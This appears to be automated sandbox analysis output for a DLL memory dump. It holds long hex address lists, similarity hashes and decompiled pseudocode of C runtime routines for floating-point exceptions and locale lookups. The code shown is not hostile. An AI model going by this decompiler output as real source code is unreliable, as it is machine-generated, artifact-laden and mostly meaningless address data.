0x6e17d2b4
0x6e17d2b4
0x6e17d2b7
0x6e17d2c0
0x6e17d2c0
0x6e17d2c2
0x6e17d2c2
0x6e17d2c7
0x6e17d2cd
0x6e17d2d1
0x6e17d2d4
0x6e17d2d7
0x6e17d2d9
0x6e17d2d9
0x6e17d2d9
0x6e17d2de
0x6e17d2de
0x6e17d2e1
0x6e17d2e4
0x6e17d2a3
0x6e17d2a3
0x6e17d2a6
0x00000000
0x00000000
0x6e17d2a6
0x6e17d2a1
0x6e17d2eb
0x6e17d2eb
0x6e17d2ec
0x6e17d233
0x6e17d233
0x6e17d235
0x00000000
0x00000000
0x6e17d235
0x6e17d2fc
0x6e17d301
0x6e17d304
0x6e17d308
0x6e17d309
0x6e17d30c
0x6e17d30f
0x6e17d310
0x6e17d313
0x6e17d316
0x6e17d319
0x6e17d31c
0x6e17d31c
0x6e17d324
0x6e17d32b
0x6e17d32c
0x6e17d32e
0x6e17d330
0x6e17d332
0x6e17d335
0x6e17d340
0x6e17d340
0x6e17d346
0x6e17d346
0x6e17d349
0x6e17d34a
0x6e17d34a
0x6e17d340
0x6e17d34e
0x6e17d350
0x6e17d352
0x6e17d354
0x6e17d354
0x6e17d356
0x6e17d35a
0x00000000
0x00000000
0x6e17d35c
0x6e17d35c
0x6e17d35f
0x6e17d361
0x00000000
0x00000000
0x00000000
0x6e17d361
0x6e17d354
0x6e17d363
0x6e17d36d
0x00000000
0x00000000
0x00000000
0x6e17d078
0x6e17cf02
0x6e17cf02
0x6e17cf02
0x6e17cf05
0x6e17cf08
0x6e17cf0b
0x6e17cf3c
0x6e17cf3e
0x6e17cf89
0x6e17cf8b
0x6e17cf92
0x6e17cf99
0x6e17cf9c
0x6e17cf9f
0x6e17cfa5
0x6e17cfa5
0x6e17cfa6
0x6e17cfa9
0x6e17cfb0
0x6e17cfb9
0x6e17cfbe
0x6e17cfc1
0x6e17cfc6
0x6e17cfc9
0x6e17cfcb
0x6e17cfd0
0x6e17cfd3
0x6e17cfd6
0x6e17cfd6
0x6e17cfd6
0x6e17cfda
0x6e17cfdd
0x6e17cfdd
0x6e17cfe2
0x6e17cfe2
0x6e17cfed
0x6e17cff8
0x6e17cff8
0x6e17cffb
0x6e17d007
0x6e17d00c
0x6e17d017
0x6e17d019
0x6e17d01b
0x6e17d021
0x6e17d026
0x6e17d028
0x6e17d02e
0x6e17cf40
0x6e17cf4c
0x6e17cf4c
0x6e17cf4f
0x6e17cf5f
0x6e17cf65
0x6e17cf6c
0x6e17cf6e
0x6e17cf76
0x6e17cf78
0x6e17cf7a
0x6e17cf7f
0x6e17cf82
0x6e17cf88
0x6e17cf88
0x6e17cf0d
0x6e17cf10
0x6e17cf14
0x6e17cf1a
0x6e17cf29
0x6e17cf33
0x6e17cf3b
0x6e17cf3b
0x6e17cf0b
0x6e17cee6
0x6e17cee9
0x6e17ceef
0x6e17ceef
0x6e17ced5
0x6e17cedb
0x6e17cedb

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75b255980dd387392001ec0b2b3326d4ea034142176cf07d8ad4135bbf6c2f47
Instruction ID: 8db9da44b5a269803c1e706bdfe32166cc878b0c9f3b48c78747b96a4ef95676
Opcode Fuzzy Hash: 75b255980dd387392001ec0b2b3326d4ea034142176cf07d8ad4135bbf6c2f47
Instruction Fuzzy Hash: 07024D71E041199FDF24CFA9C89069EBBF1EF89714F258269D919EB344D731AA41CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6E17FF3F, Relevance: 1.8, APIs: 1, Instructions: 269
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6E17FF3F(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E6E1804FC(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E6E180462(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x6e17ff4d
0x6e17ff54
0x6e17ff59
0x6e17ff5f
0x6e17ff62
0x6e17ff68
0x6e17ff6d
0x6e17ff72
0x6e17ff72
0x6e17ff78
0x6e17ff7d
0x6e17ff82
0x6e17ff82
0x6e17ff89
0x6e17ff8e
0x6e17ff93
0x6e17ff93
0x6e17ff9a
0x6e17ff9f
0x6e17ffa4
0x6e17ffa4
0x6e17ffab
0x6e17ffb0
0x6e17ffb5
0x6e17ffb5
0x6e17ffbd
0x6e17ffcd
0x6e17ffdf
0x6e17fff1
0x6e180004
0x6e180016
0x6e18001e
0x6e180023
0x6e180028
0x6e180028
0x6e18002f
0x6e180034
0x6e180034
0x6e18003b
0x6e180040
0x6e180040
0x6e180047
0x6e18004c
0x6e18004c
0x6e180053
0x6e180058
0x6e180058
0x6e180062
0x6e180064
0x6e18009e
0x6e180066
0x6e18006b
0x6e18008f
0x6e180097
0x6e18008b
0x6e18008b
0x6e1800a1
0x6e1800a8
0x6e1800aa
0x6e1800cc
0x6e1800d4
0x6e1800d7
0x6e1800d7
0x6e1800d9
0x6e1800d9
0x6e1800e4
0x6e1800ea
0x6e1800ef
0x6e1800f6
0x6e180130
0x6e18013b
0x6e180141
0x6e180144
0x6e180147
0x6e180153
0x6e18015b
0x6e1800f8
0x6e1800fb
0x6e180107
0x6e18010d
0x6e180113
0x6e180116
0x6e18011f
0x6e18011f
0x6e18015e
0x6e18016c
0x6e180172
0x6e180179
0x6e18017b
0x6e18017b
0x6e180182
0x6e180184
0x6e180184
0x6e18018b
0x6e18018d
0x6e18018d
0x6e180194
0x6e180196
0x6e180196
0x6e18019d
0x6e18019f
0x6e18019f
0x6e1801ac
0x6e1801af
0x6e1801e6
0x6e1801b1
0x6e1801b1
0x6e1801b4
0x6e1801df
0x6e1801d4
0x6e1801d4
0x6e1801e8
0x6e1801f0
0x6e1801f3
0x6e180212
0x6e180217
0x6e180217
0x6e180219
0x6e18021e
0x6e18022a
0x6e180220
0x6e180223
0x6e180223
0x6e18022f
0x6e18022f
0x6e1801f5
0x6e1801f8
0x6e180207
0x00000000
0x6e180207
0x6e1801fa
0x6e1801fd
0x6e1801ff
0x6e1801ff
0x00000000
0x6e1801fd
0x6e1801b6
0x6e1801b9
0x6e1801cf
0x00000000
0x6e1801cf
0x6e1801be
0x6e1801c0
0x6e1801c0
0x6e1801be
0x00000000
0x6e1801af
0x6e1800b1
0x6e1800bf
0x6e1800c7
0x00000000
0x6e1800c7
0x6e1800b5
0x6e1800ba
0x6e1800ba
0x00000000
0x6e1800b5
0x6e180072
0x6e180080
0x6e180088
0x00000000
0x6e180088
0x6e180076
0x6e18007b
0x6e18007b
0x6e180076

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6E17FF3A,?,?,00000008,?,?,6E18DA82,00000000), ref: 6E18016C

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 2df83c1539f2d2fe92a5329987ca0a8c12683b0c44cb53a4040aabfc1564e2aa
Instruction ID: 85a09a1472e4ad8c68f5a3e0efded79cb8a2200ccaa53f415ced8f6a59dafe9d
Opcode Fuzzy Hash: 2df83c1539f2d2fe92a5329987ca0a8c12683b0c44cb53a4040aabfc1564e2aa
Instruction Fuzzy Hash: 2DB18832211609DFE744CF68C496B9A7BE1FF05364F258658E8A9CF2A1D336E981CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E18CA06, Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6E18CA06(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				signed int _t16;
				signed int _t22;
				void* _t24;
				void* _t31;
				void* _t35;
				signed int* _t50;
				int _t53;
				signed int _t54;

				_t16 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t16 ^ _t54;
				_t35 = E6E17FA06(__ebx, __ecx, __edx);
				_t50 =  *(E6E17FA06(_t35, __ecx, __edx) + 0x34c);
				_t53 = E6E18CADE(_a4);
				asm("sbb ecx, ecx");
				_t22 = GetLocaleInfoW(_t53, ( ~( *(_t35 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78);
				if(_t22 != 0) {
					_t24 = E6E1882D0(_t35, _t50, _t53,  *((intOrPtr*)(_t35 + 0x50)),  &_v248);
					if(_t24 != 0) {
						if( *(_t35 + 0x60) == 0 &&  *((intOrPtr*)(_t35 + 0x5c)) != 0) {
							_t31 = E6E1882D0(_t35, _t50, _t53,  *((intOrPtr*)(_t35 + 0x50)),  &_v248);
							if(_t31 == 0) {
								_push(_t50);
								_push(_t31);
								goto L9;
							}
						}
					} else {
						if( *(_t35 + 0x60) != _t24) {
							L10:
							 *_t50 =  *_t50 | 0x00000004;
							_t50[1] = _t53;
							_t50[2] = _t53;
						} else {
							_push(_t50);
							_push(1);
							L9:
							_push(_t53);
							if(E6E18CC36(_t35) != 0) {
								goto L10;
							}
						}
					}
				} else {
					 *_t50 =  *_t50 & _t22;
				}
				return E6E173D51(_v8 ^ _t54);
			}

0x6e18ca11
0x6e18ca18
0x6e18ca26
0x6e18ca2e
0x6e18ca3d
0x6e18ca49
0x6e18ca5a
0x6e18ca62
0x6e18ca73
0x6e18ca7c
0x6e18ca8c
0x6e18ca9e
0x6e18caa7
0x6e18caa9
0x6e18caaa
0x00000000
0x6e18caaa
0x6e18caa7
0x6e18ca7e
0x6e18ca81
0x6e18cab8
0x6e18cab8
0x6e18cabb
0x6e18cabe
0x6e18ca83
0x6e18ca83
0x6e18ca84
0x6e18caab
0x6e18caab
0x6e18cab6
0x00000000
0x00000000
0x6e18cab6
0x6e18ca81
0x6e18ca64
0x6e18ca64
0x6e18ca66
0x6e18cadb

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA65
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA72

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E18CA5A

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: 80f35ae98a506cdbc5afa18e164566faad4e7c6a8ad426141a98d977c4944a83
Instruction ID: 3c2cebc55832ba3c1d0fef0dbffff6c29e0eac8a37a7fdede5b2a8ae2232e1d4
Opcode Fuzzy Hash: 80f35ae98a506cdbc5afa18e164566faad4e7c6a8ad426141a98d977c4944a83
Instruction Fuzzy Hash: E421C572A54206ABDB14CEA4DC41BAB73ACEF05314F24427AED01CA140FB75D980EF51

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C68E, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6E18C68E(void* __ecx, void* __edx, signed int* _a4) {
				void* __ebx;
				intOrPtr _t26;
				intOrPtr _t29;
				signed int _t32;
				signed char _t33;
				signed char _t34;
				void* _t36;
				intOrPtr* _t39;
				intOrPtr* _t42;
				signed int _t48;
				void* _t51;
				void* _t52;
				signed int* _t53;
				void* _t54;
				signed int _t62;

				_t54 = E6E17FA06(_t36, __ecx, __edx);
				_t48 = 2;
				_t39 =  *((intOrPtr*)(_t54 + 0x50));
				_t51 = _t39 + 2;
				do {
					_t26 =  *_t39;
					_t39 = _t39 + _t48;
				} while (_t26 != 0);
				_t42 =  *((intOrPtr*)(_t54 + 0x54));
				 *(_t54 + 0x60) = 0 | _t39 - _t51 >> 0x00000001 == 0x00000003;
				_t52 = _t42 + 2;
				do {
					_t29 =  *_t42;
					_t42 = _t42 + _t48;
				} while (_t29 != 0);
				_t53 = _a4;
				 *(_t54 + 0x64) = 0 | _t42 - _t52 >> 0x00000001 == 0x00000003;
				_t53[1] = 0;
				if( *(_t54 + 0x60) == 0) {
					_t48 = E6E18C78A( *((intOrPtr*)(_t54 + 0x50)));
				}
				 *(_t54 + 0x5c) = _t48;
				_t32 = EnumSystemLocalesW(E6E18C7B6, 1);
				_t62 =  *_t53 & 0x00000007;
				asm("bt ecx, 0x9");
				_t33 = _t32 & 0xffffff00 | _t62 > 0x00000000;
				asm("bt ecx, 0x8");
				_t34 = _t33 & 0xffffff00 | _t62 > 0x00000000;
				if((_t34 & (_t48 & 0xffffff00 | _t62 != 0x00000000) & _t33) == 0) {
					 *_t53 = 0;
					return _t34;
				}
				return _t34;
			}

0x6e18c69b
0x6e18c6a1
0x6e18c6a2
0x6e18c6a5
0x6e18c6a8
0x6e18c6a8
0x6e18c6ab
0x6e18c6ad
0x6e18c6bb
0x6e18c6c1
0x6e18c6c4
0x6e18c6c7
0x6e18c6c7
0x6e18c6ca
0x6e18c6cc
0x6e18c6d5
0x6e18c6e0
0x6e18c6e3
0x6e18c6e9
0x6e18c6f4
0x6e18c6f4
0x6e18c6fd
0x6e18c700
0x6e18c708
0x6e18c70e
0x6e18c712
0x6e18c717
0x6e18c71b
0x6e18c720
0x6e18c722
0x00000000
0x6e18c722
0x6e18c728

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

EnumSystemLocalesW.KERNEL32(6E18C7B6,00000001,00000000,?,6E18196E,?,6E18CDE3,00000000,?,?,?), ref: 6E18C700

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: f3c6a78edd18f87553d87a6943d9f022e4a981b54807f79c2527abfe9d6b31d7
Instruction ID: b9d309122cec7e696d32a9915dd33f61fc69907b6a66081fa03c993626f40280
Opcode Fuzzy Hash: f3c6a78edd18f87553d87a6943d9f022e4a981b54807f79c2527abfe9d6b31d7
Instruction Fuzzy Hash: 8611293B2147019FDB189F79C8905ABB7A1FF84368B25453DDA878BB40E771A482DB40

Uniqueness

Uniqueness Score: -1.00%

Function 6E18CC36, Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6E18CC36(void* __ebx, signed int _a4, intOrPtr _a8) {
				short _v8;
				void* __ecx;
				void* _t8;
				void* _t12;
				intOrPtr _t13;
				void* _t16;
				void* _t20;
				void* _t22;
				void* _t24;
				signed int _t27;
				intOrPtr* _t29;

				_push(_t16);
				_t8 = E6E17FA06(__ebx, _t16, _t22);
				_t27 = _a4;
				_t24 = _t8;
				if(GetLocaleInfoW(_t27 & 0x000003ff | 0x00000400, 0x20000001,  &_v8, 2) != 0) {
					if(_t27 == _v8 || _a8 == 0) {
						L7:
						_t12 = 1;
					} else {
						_t29 =  *((intOrPtr*)(_t24 + 0x50));
						_t20 = _t29 + 2;
						do {
							_t13 =  *_t29;
							_t29 = _t29 + 2;
						} while (_t13 != 0);
						if(E6E18C78A( *((intOrPtr*)(_t24 + 0x50))) == _t29 - _t20 >> 1) {
							goto L1;
						} else {
							goto L7;
						}
					}
				} else {
					L1:
					_t12 = 0;
				}
				return _t12;
			}

0x6e18cc3b
0x6e18cc3e
0x6e18cc43
0x6e18cc46
0x6e18cc6a
0x6e18cc73
0x6e18cc9d
0x6e18cc9f
0x6e18cc7b
0x6e18cc7b
0x6e18cc7e
0x6e18cc81
0x6e18cc81
0x6e18cc84
0x6e18cc87
0x6e18cc9b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e18cc9b
0x6e18cc6c
0x6e18cc6c
0x6e18cc6c
0x6e18cc6c
0x6e18cca5

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,6E18CAB1,00000000,00000000,?), ref: 6E18CC62

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 80e4870949de4a8eddabf9cb026af4226c85996751008b21e007f06491805920
Instruction ID: 9b9d5ce6bdf2b1d908a79689202f28d772410368b68cb832de06df4ead37cb67
Opcode Fuzzy Hash: 80e4870949de4a8eddabf9cb026af4226c85996751008b21e007f06491805920
Instruction Fuzzy Hash: FDF07D32A10116AFDB148AB4CC45BFB3768EB00764F594629DC25A7240EB30FD81DED1

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C59A, Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E6E18C59A(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				signed int _t11;
				signed int _t17;
				void* _t28;
				signed int* _t42;
				int _t45;
				signed int _t46;

				_t11 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t11 ^ _t46;
				_t28 = E6E17FA06(__ebx, __ecx, __edx);
				_t42 =  *(E6E17FA06(_t28, __ecx, __edx) + 0x34c);
				_t45 = E6E18CADE(_a4);
				asm("sbb ecx, ecx");
				_t17 = GetLocaleInfoW(_t45, ( ~( *(_t28 + 0x64)) & 0xfffff005) + 0x1002,  &_v248, 0x78);
				if(_t17 != 0) {
					if(E6E1882D0(_t28, _t42, _t45,  *((intOrPtr*)(_t28 + 0x54)),  &_v248) == 0 && E6E18CC12(_t45) != 0) {
						 *_t42 =  *_t42 | 0x00000004;
						_t42[2] = _t45;
						_t42[1] = _t45;
					}
				} else {
					 *_t42 =  *_t42 & _t17;
				}
				return E6E173D51(_v8 ^ _t46);
			}

0x6e18c5a5
0x6e18c5ac
0x6e18c5ba
0x6e18c5c2
0x6e18c5d1
0x6e18c5dd
0x6e18c5ee
0x6e18c5f6
0x6e18c610
0x6e18c61d
0x6e18c620
0x6e18c623
0x6e18c623
0x6e18c5f8
0x6e18c5f8
0x6e18c5fa
0x6e18c640

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA65
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA72

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6E181975,00000000,6E181A95), ref: 6E18C5EE

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: df005e5cfcde2693f3022c91c7ebd3a334dbe173f2912ed396d69ace87f680f3
